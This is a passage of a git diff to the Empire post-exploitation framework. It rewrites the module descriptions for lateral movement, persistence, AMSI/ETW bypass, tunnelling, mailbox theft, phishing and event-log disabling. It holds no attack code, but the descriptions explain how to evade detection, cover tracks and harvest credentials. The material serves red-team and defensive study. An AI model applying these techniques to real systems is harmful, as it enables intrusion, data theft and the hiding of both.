SQL Server's xp_cmdshell stored procedure. This technique enables lateral movement + through SQL Server instances that have the xp_cmdshell feature enabled or where + the attacker has sufficient privileges to enable it. + + The module connects to + a remote SQL Server using provided credentials, enables the xp_cmdshell procedure + if necessary (requiring sysadmin privileges), executes the specified command, + and optionally disables xp_cmdshell afterward to cover tracks. + + This technique + is particularly effective in environments where SQL Servers are trusted and less + monitored than traditional endpoints. It operates over standard SQL Server ports + (typically 1433/TCP) and can bypass network segmentation that might otherwise + prevent direct access to target systems. + + Be aware that xp_cmdshell usage is + often logged and may trigger alerts in security-conscious environments where + SQL Server activity is monitored. software: '' tactics: [TA0002, TA0008] techniques: [T1505.001] diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.yaml b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.yaml index 3f8654914..d4d367e5b 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.yaml @@ -3,7 +3,22 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Executes a command on a remote host via SSH. +description: | + Executes commands on remote Linux/Unix systems over SSH using provided + credentials or key-based authentication. This module allows operators to run + arbitrary commands or Empire stagers on SSH-enabled hosts, making it especially + useful for lateral movement in mixed Windows/Linux environments. + + The module + supports both password-based and key-based authentication methods and can execute + either single commands or transfer and execute more complex scripts. It operates + over standard SSH ports (typically 22/TCP) and handles command output retrieval. + + SSH + command execution is generally less suspicious than many Windows lateral movement + techniques as it uses legitimate administrative channels. However, SSH access + may be logged by security monitoring systems, and failed authentication attempts + can trigger lockouts or alerts. software: '' tactics: [TA0008] techniques: [T1021.004] diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi.yaml b/empire/server/modules/powershell/lateral_movement/invoke_wmi.yaml index e70cf15c9..5389427d5 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi.yaml @@ -3,7 +3,24 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Executes a stager on remote hosts using WMI. +description: | + Executes PowerShell commands or Empire stagers on remote systems using + Windows Management Instrumentation (WMI). WMI offers a stealthier alternative + to other lateral movement techniques like PsExec, as it doesn't require creating + a service on the target machine. + + This module leverages the WMI Win32_Process + class to create processes remotely and supports both plaintext credentials and + pass-the-hash techniques for authentication. WMI execution typically only requires + administrative privileges on the target and operates over standard DCOM/RPC ports + (typically 135/TCP), making it effective even in environments with limited outbound + connectivity. + + While WMI execution is more subtle than service-based techniques, + modern EDR solutions often monitor WMI activity for process creation events. + This technique leaves artifacts in WMI event logs and process creation logs that + can be detected by security monitoring systems specifically watching for this + attack vector. software: '' tactics: [TA0002, TA0008] techniques: [T1047, T1021.006] diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.yaml b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.yaml index 820589a9d..e977f14ac 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.yaml @@ -3,8 +3,26 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Uses WMI to set the debugger for a target binary on a remote machine - to be cmd.exe or a stager. +description: | + Achieves persistence and code execution by manipulating the Windows + Image File Execution Options (IFEO) debugger registry key via WMI. This technique + sets a debugger for a specified application that will execute the attacker's + payload whenever the targeted application is launched. + + The module uses WMI + to remotely modify the registry on the target system, setting up the payload + as a "debugger" for a legitimate application. When a user runs the targeted + application, Windows will instead execute the payload first. + + This provides a + stealthy persistence mechanism that doesn't require scheduled tasks, services, + or startup items. It's particularly effective for maintaining access when the + targeted application is commonly used or automatically started on the system. + + The + technique can be detected through registry monitoring for changes to IFEO keys + or through process ancestry analysis showing unexpected parent-child relationships + when the targeted application is launched. software: '' tactics: [TA0002, TA0008, TA0005] techniques: [T1047, T1021.006] diff --git a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml index 18d56864d..d7fb260b0 100644 --- a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml +++ b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.yaml @@ -3,7 +3,27 @@ authors: - name: '' handle: '@luxcupitor' link: '' -description: Exploit unauthenticated Jenkins Script consoles. +description: | + Exploits the Jenkins Script Console feature to execute arbitrary Groovy/Java + code on Jenkins servers where the attacker has access to the console. This module + allows for command execution or Empire stager deployment through Jenkins' built-in + scripting functionality. + + The technique requires authenticated access to the + Jenkins web interface with sufficient privileges to access the Script Console + (typically admin privileges). Once accessed, the console allows execution of + Groovy scripts in the context of the Jenkins server process, which typically + runs with high privileges on the host. + + This approach is particularly effective + for targeting DevOps infrastructure, as Jenkins servers often have extensive + network access and trusted connections to other systems for CI/CD purposes. The + module supports both direct command execution and downloading/executing files + from remote sources. + + While Jenkins may log script console usage, many organizations + don't actively monitor these logs, making this technique relatively stealthy + compared to endpoint-based execution methods. software: '' tactics: [TA0002, TA0008] techniques: [T1210, T1059.006] diff --git a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml index cc14a1435..539f36912 100644 --- a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml +++ b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml @@ -3,7 +3,27 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Builds an 'Immediate' schtask to push out through a specified GPO. +description: | + Creates and links a malicious Group Policy Object (GPO) that deploys + an immediate scheduled task to target systems in an Active Directory environment. + This technique leverages legitimate Group Policy infrastructure to distribute + and execute payloads across multiple domain-joined systems simultaneously. + + The + module creates a new GPO or modifies an existing one, adding an immediate task + that executes as SYSTEM when Group Policy is processed. This provides both privilege + escalation (SYSTEM context) and widespread lateral movement capability throughout + the domain. + + This technique requires domain administrator privileges (or equivalent + GPO creation/modification rights) but is highly effective for establishing persistence + and moving laterally at scale. It's particularly dangerous because Group Policy + is trusted infrastructure in most Windows environments. + + Detection requires + monitoring for GPO creation/modification events, analysis of Group Policy Objects + for suspicious scheduled tasks, or endpoint monitoring for unexpected scheduled + task creation via Group Policy processing. software: S0111 tactics: [TA0008] techniques: [T1053.003, T1021.002] diff --git a/empire/server/modules/powershell/management/disable_rdp.yaml b/empire/server/modules/powershell/management/disable_rdp.yaml index 59fd369f6..88799b51b 100644 --- a/empire/server/modules/powershell/management/disable_rdp.yaml +++ b/empire/server/modules/powershell/management/disable_rdp.yaml @@ -3,7 +3,21 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Disables RDP on the remote machine. +description: | + Disables Remote Desktop Protocol (RDP) services on a target Windows + system by modifying registry values and stopping related services. This module + changes the "fDenyTSConnections" registry key to prevent new RDP connections + and terminates the "TermService" service. + + This technique is useful for limiting + remote access capabilities after exploitation to prevent other attackers from + accessing the compromised system or to hinder incident response efforts. It can + also be used defensively to close potential access vectors. + + The module requires + administrative privileges on the target system and creates artifacts in Windows + registry and service control logs. Changes can be reversed by re-enabling RDP + through another management module. software: '' tactics: [TA0005, TA0040] techniques: [T1021.001, T1490] diff --git a/empire/server/modules/powershell/management/downgrade_account.yaml b/empire/server/modules/powershell/management/downgrade_account.yaml index e6e449138..d03144b75 100644 --- a/empire/server/modules/powershell/management/downgrade_account.yaml +++ b/empire/server/modules/powershell/management/downgrade_account.yaml @@ -1,10 +1,25 @@ +# Needs Revisions name: Invoke-DowngradeAccount authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Set reversible encryption on a given domain account and then force the - password to be set on next user login. +description: | + A module that downgrades domain account security by enabling reversible + encryption and forcing a password reset on the next user login. This + technique weakens the security posture of targeted accounts to facilitate + credential harvesting and privilege escalation. + + The module modifies domain account properties to enable reversible + encryption, which stores passwords in a less secure format that can + be more easily extracted by credential harvesting tools. Additionally, + it forces the account to require a password change on next login, + potentially capturing the new password through various means. + + This technique is particularly effective for compromising high-value + accounts as it reduces their security protections and creates + opportunities for credential harvesting. The module includes repair + functionality to restore account security settings when needed. software: '' tactics: [TA0003] techniques: [T1098] diff --git a/empire/server/modules/powershell/management/enable_multi_rdp.yaml b/empire/server/modules/powershell/management/enable_multi_rdp.yaml index 91f13fd2b..41c53821e 100644 --- a/empire/server/modules/powershell/management/enable_multi_rdp.yaml +++ b/empire/server/modules/powershell/management/enable_multi_rdp.yaml @@ -6,9 +6,22 @@ authors: - name: Joseph Bialek handle: '@JosephBialek' link: https://twitter.com/JosephBialek -description: "[!] WARNING: Experimental! Runs PowerSploit's Invoke-Mimikatz function - to patch the Windows terminal service to allow multiple users to establish simultaneous - RDP connections." +description: | + Patches the Windows Terminal Services service to allow multiple simultaneous + RDP sessions on systems where this is normally restricted (like Windows desktop + editions). This module modifies termsrv.dll in memory and adjusts registry settings + to bypass Microsoft's single-session limitation. + + This technique is particularly + useful for maintaining persistent access while legitimate users continue to work + on the system, allowing operators to connect via RDP without disconnecting existing + user sessions or alerting them to the intrusion. It effectively transforms desktop + Windows editions to behave like Terminal Server/RDS. + + The module requires administrative + privileges and involves modifying system files and registry values. These changes + may be detected by file integrity monitoring or advanced EDR solutions. System + updates or patches may revert these modifications, requiring reapplication. software: '' tactics: [TA0005, TA0008] techniques: [T1021.001, T1562] diff --git a/empire/server/modules/powershell/management/enable_rdp.yaml b/empire/server/modules/powershell/management/enable_rdp.yaml index c331bff65..04cb60754 100644 --- a/empire/server/modules/powershell/management/enable_rdp.yaml +++ b/empire/server/modules/powershell/management/enable_rdp.yaml @@ -3,7 +3,17 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Enables RDP on the remote machine and adds a firewall exception. +description: | + Enables Remote Desktop Protocol (RDP) services on a target Windows + system by modifying multiple registry values and starting required services. + The module sets "fDenyTSConnections" to 0, configures firewall exceptions, + and ensures the Terminal Services service is running. + + The module requires + administrative privileges and creates several detectable artifacts, including + registry modifications, service state changes, and potentially firewall rule + adjustments. In monitored environments, these changes may trigger security alerts + as they modify standard Windows configurations. software: '' tactics: [TA0005, TA0008] techniques: [T1021.001, T1112] diff --git a/empire/server/modules/powershell/management/get_domain_sid.yaml b/empire/server/modules/powershell/management/get_domain_sid.yaml index d84be5373..8ac4bcf08 100644 --- a/empire/server/modules/powershell/management/get_domain_sid.yaml +++ b/empire/server/modules/powershell/management/get_domain_sid.yaml @@ -1,9 +1,24 @@ +# Needs Revisions name: Get-DomainSID authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Returns the SID for the current or specified domain. +description: | + A reconnaissance module that retrieves the Security Identifier (SID) for + the current or specified Active Directory domain. This module performs + domain enumeration by querying domain controllers to obtain the unique + identifier that represents the domain's security boundary. + + The module queries Active Directory for domain controllers and extracts + the domain SID from their objectSID attribute. Domain SIDs are fundamental + to Windows security architecture and are used throughout the operating + system for access control, group membership, and security auditing. + + This information is essential for understanding domain structure, + performing privilege escalation activities, and mapping security + relationships within Active Directory environments. The domain SID + serves as the foundation for all user and group SIDs within the domain. software: '' tactics: [TA0007] techniques: [T1069.002, T1018, T1087.002] diff --git a/empire/server/modules/powershell/management/honeyhash.yaml b/empire/server/modules/powershell/management/honeyhash.yaml index 77ca5a38e..437d54f9a 100644 --- a/empire/server/modules/powershell/management/honeyhash.yaml +++ b/empire/server/modules/powershell/management/honeyhash.yaml @@ -3,7 +3,17 @@ authors: - name: Matt Graeber handle: '@mattifestation' link: https://twitter.com/mattifestation -description: Inject artificial credentials into LSASS. +description: | + A defensive module that injects artificial credentials into the Local Security + Authority Subsystem Service (LSASS) memory space to create honeypot credentials + that can be used to detect credential harvesting attempts. This module helps + identify when attackers are attempting to extract credentials from memory. + + The module creates fake domain credentials and injects them into LSASS memory, + where they will be visible to credential harvesting tools like Mimikatz. When + attackers attempt to extract credentials, these fake credentials will appear + alongside legitimate ones, providing an early warning system for credential + harvesting activities. software: '' tactics: [TA0003] techniques: [T1156.001] diff --git a/empire/server/modules/powershell/management/invoke-downloadfile.yaml b/empire/server/modules/powershell/management/invoke-downloadfile.yaml index 6a2db62ad..b73c1613b 100644 --- a/empire/server/modules/powershell/management/invoke-downloadfile.yaml +++ b/empire/server/modules/powershell/management/invoke-downloadfile.yaml @@ -1,9 +1,25 @@ name: Invoke-DownloadFile authors: - - name: Cx01N - handle: '' - link: '' -description: Download files from the internet through PowerShell. + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: | + A PowerShell module that downloads files from remote sources using + native PowerShell capabilities. This module provides a clean and + efficient method for transferring files to compromised systems + without requiring additional tools or external dependencies. + + The module leverages PowerShell's built-in web request capabilities + to download files from HTTP, HTTPS, or FTP sources. This approach + is particularly useful for post-exploitation activities where + additional tools need to be deployed or when data exfiltration + requires file transfer capabilities. + + The download functionality supports various file types and can + handle large files efficiently. This module is essential for + maintaining operational capabilities by ensuring that necessary + tools and payloads can be deployed to target systems as needed + during security assessments and penetration testing operations. software: '' tactics: [TA0010] techniques: [T1041] diff --git a/empire/server/modules/powershell/management/invoke_bypass.yaml b/empire/server/modules/powershell/management/invoke_bypass.yaml index 964046899..5928d9ebd 100644 --- a/empire/server/modules/powershell/management/invoke_bypass.yaml +++ b/empire/server/modules/powershell/management/invoke_bypass.yaml @@ -3,7 +3,24 @@ authors: - name: "Anthony Rose" handle: "@Cx01N" link: "https://twitter.com/Cx01N_" -description: Run a bypass from the server. +description: | + A PowerShell module that executes bypass techniques from the Empire + server to evade detection and monitoring systems. This module + applies various obfuscation and evasion techniques to PowerShell + launchers before execution on the target system. + + The module supports multiple bypass techniques including ETW + bypass, AMSI bypass, and other evasion methods that can be + combined to create highly obfuscated payloads. These bypasses + are prepended to the launcher code to ensure the payload can + execute without triggering security monitoring systems. + + The module also supports optional code obfuscation using + Invoke-Obfuscation techniques to further hide the malicious + code from detection mechanisms. This multi-layered approach + to evasion makes it particularly effective for maintaining + stealth during post-exploitation activities and avoiding + detection by advanced security solutions. software: '' tactics: [TA0005] techniques: [T1562.006] diff --git a/empire/server/modules/powershell/management/invoke_sharpchisel.yaml b/empire/server/modules/powershell/management/invoke_sharpchisel.yaml index 3f823dc4f..3efcb8241 100644 --- a/empire/server/modules/powershell/management/invoke_sharpchisel.yaml +++ b/empire/server/modules/powershell/management/invoke_sharpchisel.yaml @@ -6,9 +6,28 @@ authors: - name: '' handle: '@shantanukhande' link: '' -description: Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. - Written in Go (golang). Chisel is mainly useful for passing through firewalls, - though it can also be used to provide a secure endpoint into your network. +description: | + Establishes a reverse tunneling capability using SharpChisel, a C# + implementation of the Chisel tunneling tool. This module creates encrypted tunnels + between the compromised system and attacker infrastructure, enabling access to + otherwise unreachable network segments or services. + + The tunnel operates over + HTTP/HTTPS, allowing traffic to blend with legitimate web traffic and bypass + many firewall restrictions. SharpChisel supports various tunnel types including + SOCKS proxies, remote port forwarding, and local port forwarding to adapt to + different network pivoting requirements. + + This technique is particularly valuable + for accessing internal services from external positions, bypassing network segmentation, + or establishing persistent access channels that don't rely on the Empire agent + itself. The module executes SharpChisel in memory using .NET reflection, avoiding + disk writes that might trigger file-based detections. + + The encrypted nature + of the tunnel helps evade deep packet inspection, though sustained connections + to external servers may be flagged by network monitoring tools tracking long-lived + sessions. software: '' tactics: [TA0011] techniques: [T1090] diff --git a/empire/server/modules/powershell/management/lock.yaml b/empire/server/modules/powershell/management/lock.yaml index 3277d8de4..4cef49e3e 100644 --- a/empire/server/modules/powershell/management/lock.yaml +++ b/empire/server/modules/powershell/management/lock.yaml @@ -3,7 +3,24 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Locks the workstation's display. +description: | + A PowerShell module that programmatically locks the workstation + display using Windows API calls. This module leverages the + User32.dll LockWorkStation function to immediately secure the + desktop and require user authentication to regain access. + + The module uses dynamic assembly creation and P/Invoke techniques + to call the native Windows API function, bypassing the need for + direct DLL imports. This approach provides a clean method for + remotely locking workstations during security operations or + incident response scenarios. + + This functionality is particularly useful for security operations + where immediate workstation lockdown is required, such as during + incident response, security breaches, or when unauthorized access + is detected. The module can be executed remotely to secure + multiple workstations simultaneously without requiring physical + access to each machine. software: '' tactics: [TA0040] techniques: [T1531] diff --git a/empire/server/modules/powershell/management/logoff.yaml b/empire/server/modules/powershell/management/logoff.yaml index d11213113..4629cb87e 100644 --- a/empire/server/modules/powershell/management/logoff.yaml +++ b/empire/server/modules/powershell/management/logoff.yaml @@ -3,7 +3,19 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Logs the current user (or all users) off the machine. +description: | + Logs off the current user or all users from the target machine. This + module provides the ability to terminate user sessions, forcing users to log + off interactively or remotely. + + Logging off users can be useful for operational + security, clearing active sessions, or preparing a system for further exploitation + or cleanup. The module supports logging off a single user (the session running + the agent) or all users currently logged into the system. + + This capability + is often used to disrupt user activity, clear evidence, or ensure that only authorized + sessions remain active during post-exploitation operations. software: '' tactics: [TA0040] techniques: [T1098, T1529] @@ -20,7 +32,7 @@ options: required: true value: '' - name: AllUsers - description: Log off all current users. + description: Log off all current users (set to True to log off all sessions). required: false value: 'False' strict: true diff --git a/empire/server/modules/powershell/management/mailraider/disable_security.yaml b/empire/server/modules/powershell/management/mailraider/disable_security.yaml index 7095df928..410712214 100644 --- a/empire/server/modules/powershell/management/mailraider/disable_security.yaml +++ b/empire/server/modules/powershell/management/mailraider/disable_security.yaml @@ -3,9 +3,12 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: This function checks for the ObjectModelGuard, PromptOOMSend, and AdminSecurityMode - registry keys for Outlook security. This function must be run in an administrative - context in order to set the values for the registry keys. +description: | + Modifies Microsoft Outlook security settings by adjusting registry keys related to the ObjectModelGuard, PromptOOMSend, and AdminSecurityMode. This module allows operators to disable or reset security prompts and protections that restrict programmatic access to Outlook, such as those that block automated email sending or access to address books. + + Disabling these security features is useful for post-exploitation scenarios where automated email access, phishing, or data extraction is required without user interaction. The module can also reset settings to their defaults for stealth or cleanup purposes. Administrative privileges may be required for some registry changes. + + Typical use cases include enabling automated email operations, bypassing security prompts for malicious macros, or preparing a target environment for further email-based attacks. software: '' tactics: [TA0005] techniques: [T1047, T1112, T1562.001] @@ -24,19 +27,21 @@ options: required: true value: '' - name: AdminUser - description: Optional AdminUser credentials to use for registry changes. + description: Optional administrative username for registry changes (leave blank + to use current context). required: false value: '' - name: AdminPassword - description: Optional AdminPassword credentials to use for registry changes. + description: Optional administrative password for registry changes. required: false value: '' - name: Version - description: The version of Microsoft Outlook. + description: Version of Microsoft Outlook to target (e.g., 2016, 2019, 365). required: true value: '' - name: Reset - description: Reset security settings to default values. + description: Reset security settings to default values (set to True to restore + defaults). required: false value: 'False' strict: true diff --git a/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml b/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml index 83e9bdba2..bc8d8deef 100644 --- a/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml +++ b/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml @@ -3,7 +3,12 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: Returns all of the items for the specified folder. +description: | + Retrieves all items (emails, contacts, calendar events, etc.) from a specified Outlook folder on the target system. This module enables operators to extract large volumes of mailbox data for analysis, exfiltration, or reconnaissance. + + The module supports specifying the target folder (such as Inbox, Sent Items, or custom folders) and limits the number of items retrieved to avoid excessive data transfer or detection. It is useful for gathering intelligence, identifying sensitive communications, or mapping user activity within an organization. + + Typical use cases include bulk email collection, mailbox reconnaissance, and preparation for targeted phishing or social engineering campaigns. software: '' tactics: [TA0009] techniques: [T1114] @@ -22,11 +27,12 @@ options: required: true value: '' - name: FolderName - description: The Name of the Outlook Default Folder. + description: Name of the Outlook folder to retrieve items from (e.g., Inbox, + Sent Items). required: true value: Inbox - name: MaxEmails - description: Maximum number of emails to grab. + description: Maximum number of items to retrieve from the folder. required: true value: '100' - name: OutputFunction diff --git a/empire/server/modules/powershell/management/mailraider/get_subfolders.yaml b/empire/server/modules/powershell/management/mailraider/get_subfolders.yaml index 8baf16c7a..8797b0a3b 100644 --- a/empire/server/modules/powershell/management/mailraider/get_subfolders.yaml +++ b/empire/server/modules/powershell/management/mailraider/get_subfolders.yaml @@ -3,7 +3,12 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: Returns a list of all the folders in the specified top level folder. +description: | + Enumerates and returns a list of all subfolders within a specified top-level Outlook folder on the target system. This module enables operators to map the structure of a user's mailbox, identify custom folders, and discover locations where sensitive or interesting data may be stored. + + Folder enumeration is a key reconnaissance step for targeted email collection, data exfiltration, or identifying non-standard storage locations used by the target. The module supports specifying any default or custom folder as the starting point for enumeration. + + Typical use cases include mailbox mapping, preparation for targeted searches, and identifying hidden or rarely used folders that may contain valuable information. software: '' tactics: [TA0009] techniques: [T1114] @@ -22,7 +27,8 @@ options: required: true value: '' - name: DefaultFolder - description: Folder to search in. + description: Name of the top-level Outlook folder to enumerate (e.g., Inbox, + Sent Items). required: true value: Inbox - name: OutputFunction @@ -38,5 +44,5 @@ options: - ConvertTo-Html - ConvertTo-Xml script_path: management/MailRaider.ps1 -script_end: Get-SubFolders {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n - Get-SubFolders completed!" +script_end: Get-SubFolders {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n Get-SubFolders + completed!" diff --git a/empire/server/modules/powershell/management/mailraider/mail_search.yaml b/empire/server/modules/powershell/management/mailraider/mail_search.yaml index 0c450d8a4..b498d2f64 100644 --- a/empire/server/modules/powershell/management/mailraider/mail_search.yaml +++ b/empire/server/modules/powershell/management/mailraider/mail_search.yaml @@ -3,8 +3,12 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: Searches the given Outlook folder for items (Emails, Contacts, Tasks, - Notes, etc. *Depending on the folder*) and returns any matches found. +description: | + Searches a specified Outlook folder for items (emails, contacts, tasks, notes, etc.) matching given keywords. This module enables targeted discovery of sensitive or relevant information within a user's mailbox, supporting both broad and highly specific search operations. + + The module supports keyword-based searching, result limits, and multi-threaded operation for efficiency. Results can be output to a file or returned directly for further analysis. This is useful for identifying confidential communications, credentials, or other data of interest during post-exploitation or reconnaissance. + + Typical use cases include searching for passwords, financial data, project information, or other targeted content in user mailboxes. software: '' tactics: [TA0007, TA0009] techniques: [T1114] @@ -23,11 +27,11 @@ options: required: true value: '' - name: DefaultFolder - description: Folder to search in. + description: Name of the Outlook folder to search (e.g., Inbox, Sent Items). required: true value: Inbox - name: Keywords - description: Keyword/s to search for. + description: Keyword(s) to search for in mailbox items. required: true value: '' - name: MaxResults @@ -35,15 +39,16 @@ options: required: false value: '100' - name: MaxSearch - description: Maximum number of emails to search through. + description: Maximum number of items to search through (leave blank for no limit). required: false value: '' - name: MaxThreads - description: Maximum number of threads to use when searching. + description: Maximum number of threads to use for searching (higher values increase + speed but may be more detectable). required: true value: '15' - name: File - description: Path to results file (instead of stdout). + description: Path to save results file (leave blank to output to console). required: false value: '' - name: OutputFunction @@ -59,5 +64,5 @@ options: - ConvertTo-Html - ConvertTo-Xml script_path: management/MailRaider.ps1 -script_end: Invoke-MailSearch {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n - Invoke-MailSearch completed!" +script_end: Invoke-MailSearch {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n Invoke-MailSearch + completed!" diff --git a/empire/server/modules/powershell/management/mailraider/search_gal.yaml b/empire/server/modules/powershell/management/mailraider/search_gal.yaml index 10e3662ea..3d8a1ca7a 100644 --- a/empire/server/modules/powershell/management/mailraider/search_gal.yaml +++ b/empire/server/modules/powershell/management/mailraider/search_gal.yaml @@ -3,8 +3,12 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: returns any exchange users that match the specified search criteria. - Searchable fields are FirstName, LastName, JobTitle, Email-Address, and Department. +description: | + Searches the Microsoft Exchange Global Address List (GAL) for users matching specified criteria such as name, job title, email address, or department. This module enables operators to enumerate users, gather intelligence on organizational structure, and identify potential targets for phishing or lateral movement. + + The module supports multi-attribute searching and multi-threaded operation for efficiency. Results include user details such as display name, email address, job title, and department, providing valuable reconnaissance data for social engineering or privilege escalation. + + Typical use cases include mapping the organization, identifying high-value targets, and preparing for targeted email attacks or internal spear-phishing campaigns. software: '' tactics: [TA0007] techniques: [T1114, T1087.003] @@ -23,23 +27,24 @@ options: required: true value: '' - name: FullName - description: Full Name to search for. + description: Full name of the user to search for (leave blank to match any). required: true value: Inbox - name: JobTitle - description: Job Title to search for. + description: Job title to search for (leave blank to match any). required: true value: '' - name: Email - description: EMail address to search for. + description: Email address to search for (leave blank to match any). required: false value: '' - name: Dept - description: Department to search for. + description: Department to search for (leave blank to match any). required: false value: '' - name: MaxThreads - description: Maximum number of threads to use when searching. + description: Maximum number of threads to use for searching (higher values increase + speed but may be more detectable). required: true value: '15' - name: OutputFunction @@ -55,5 +60,5 @@ options: - ConvertTo-Html - ConvertTo-Xml script_path: management/MailRaider.ps1 -script_end: Invoke-SearchGAL {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n - Invoke-SearchGAL completed!" +script_end: Invoke-SearchGAL {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n Invoke-SearchGAL + completed!" diff --git a/empire/server/modules/powershell/management/mailraider/send_mail.yaml b/empire/server/modules/powershell/management/mailraider/send_mail.yaml index 31156a3cf..af17d8a9a 100644 --- a/empire/server/modules/powershell/management/mailraider/send_mail.yaml +++ b/empire/server/modules/powershell/management/mailraider/send_mail.yaml @@ -3,8 +3,12 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: Sends emails using a custom or default template to specified target - email addresses. +description: | + Sends emails from the target system using a custom or default template to specified recipients. This module enables operators to automate email delivery for phishing, exfiltration, or internal communication purposes, leveraging the target's Outlook profile and mail infrastructure. + + The module supports specifying individual targets, loading recipient lists from files, customizing email content and subject, attaching files, and using HTML templates. It can also include URLs or payloads for phishing or command and control operations. Emails are sent through the user's legitimate Outlook session, increasing the likelihood of bypassing security controls and user suspicion. + + Typical use cases include spear-phishing, internal phishing campaigns, data exfiltration via email, and establishing covert communication channels. software: '' tactics: [TA0042] techniques: [T1586.002, T1566] @@ -23,33 +27,34 @@ options: required: true value: '' - name: Targets - description: Array of target email addresses. If Targets or TargetList parameter - are not specified, a list of 100 email addresses will be randomly selected - from the Global Address List. + description: Array of target email addresses (leave blank to use TargetList or + random selection from GAL). required: false value: '' - name: TargetList - description: List of email addresses read from a file. + description: Path to file containing list of target email addresses (one per + line). required: false value: '' - name: URL - description: URL to include in the email. + description: URL to include in the email body (for phishing or C2 purposes). required: false value: '' - name: Attachment - description: Full path to the file to use as a payload. + description: Full path to file to attach to the email (payload, document, etc.). required: false value: '' - name: Template - description: Full path to the template html file. + description: Full path to HTML template file for email body (leave blank for + default template). required: false value: '' - name: Subject - description: Subject of the email. + description: Subject line of the email. required: false value: '' - name: Body - description: Body of the email. + description: Body content of the email (overrides template if specified). required: false value: '' - name: OutputFunction @@ -65,5 +70,5 @@ options: - ConvertTo-Html - ConvertTo-Xml script_path: management/MailRaider.ps1 -script_end: Invoke-SendMail {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n - Invoke-SendMail completed!" +script_end: Invoke-SendMail {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n Invoke-SendMail + completed!" diff --git a/empire/server/modules/powershell/management/mailraider/view_email.yaml b/empire/server/modules/powershell/management/mailraider/view_email.yaml index 4a3743c6b..7c12d5850 100644 --- a/empire/server/modules/powershell/management/mailraider/view_email.yaml +++ b/empire/server/modules/powershell/management/mailraider/view_email.yaml @@ -3,8 +3,12 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: Selects the specified folder and then outputs the email item at the - specified index. +description: | + Displays the content of a specific email item from a selected Outlook folder on the target system. This module enables operators to view the subject, sender, body, and other metadata of an email at a given index within a folder, supporting targeted reconnaissance and data collection. + + The module is useful for reviewing specific communications, verifying the presence of sensitive information, or confirming the success of phishing or exfiltration operations. It supports specifying the folder and the index of the email to display, allowing precise access to individual messages. + + Typical use cases include targeted email review, validation of mailbox content, and manual analysis of user communications. software: '' tactics: [TA0009] techniques: [T1114] @@ -23,11 +27,11 @@ options: required: true value: '' - name: FolderName - description: The Name of the Outlook Default Folder. + description: Name of the Outlook folder to select (e.g., Inbox, Sent Items). required: true value: Inbox - name: Index - description: Index of the Email item within the selected folder to display. + description: Index of the email item within the selected folder to display (0-based). required: true value: '0' - name: OutputFunction diff --git a/empire/server/modules/powershell/management/phant0m.yaml b/empire/server/modules/powershell/management/phant0m.yaml index 173037995..ad5043194 100644 --- a/empire/server/modules/powershell/management/phant0m.yaml +++ b/empire/server/modules/powershell/management/phant0m.yaml @@ -3,7 +3,17 @@ authors: - name: '' handle: '@leesoh' link: '' -description: Kills Event Log Service Threads +description: | + Kills Windows Event Log Service threads to disable logging and evade + detection mechanisms. This module targets the Windows Event Log service by terminating + its worker threads, effectively stopping event logging without disabling the + service itself. + + Event log manipulation is a critical 